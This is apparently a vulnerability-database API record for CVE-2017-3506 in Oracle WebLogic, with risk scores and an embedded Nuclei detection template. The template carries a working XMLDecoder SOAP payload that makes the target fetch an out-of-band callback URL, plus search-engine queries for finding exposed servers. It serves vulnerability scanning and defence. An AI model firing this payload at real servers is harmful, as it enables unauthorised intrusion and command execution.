{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2017-3506/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2017-3506/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2017-3506/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2017-3506/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2017-3506/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2017-3506"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2017-3506"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.96281,
      "kev": true,
      "percentile": 0.99878
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2017/CVE-2017-3506.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2017-3506\n\ninfo:\n  name: Oracle Fusion Middleware Weblogic Server - Remote OS Command Execution\n  author: pdteam\n  severity: high\n  description: The Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2 is susceptible to a difficult to exploit vulnerability that could allow unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server.\n  impact: |\n    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.\n  remediation: |\n    Apply the necessary patches or updates provided by Oracle to fix this vulnerability.\n  reference:\n    - https://hackerone.com/reports/810778\n    - https://nvd.nist.gov/vuln/detail/CVE-2017-3506\n    - http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html\n    - http://www.securitytracker.com/id/1038296\n    - https://github.com/CVEDB/top\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 7.4\n    cve-id: CVE-2017-3506\n    epss-score: 0.96281\n    epss-percentile: 0.99879\n    cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: oracle\n    product: weblogic_server\n    shodan-query:\n      - http.title:\"oracle peoplesoft sign-in\"\n      - product:\"oracle weblogic\"\n    fofa-query: title=\"oracle peoplesoft sign-in\"\n    google-query: intitle:\"oracle peoplesoft sign-in\"\n  tags: cve,cve2017,rce,oast,hackerone,weblogic,oracle,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/xml\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,\n        Content-Type: text/xml;charset=UTF-8\n\n        <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\n          <soapenv:Header>\n            <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\n              <java version=\"1.8\" class=\"java.beans.XMLDecoder\">\n                <void id=\"url\" class=\"java.net.URL\">\n                  <string>http://{{interactsh-url}}</string>\n                </void>\n                <void idref=\"url\">\n                  <void id=\"stream\" method =\"openStream\"/>\n                </void>\n              </java>\n            </work:WorkContext>\n            </soapenv:Header>\n          <soapenv:Body/>\n        </soapenv:Envelope>\n\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n# digest: 4a0a00473045022100a1b1a7acb98e52c770bf0a05c2267ae12abb6af2c9f571a29f7554f87e9721f202207df998e69faa7363c5c20e42bce93926d23bbb2523ab831edaa1fd07d887840d:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2017-3506"
}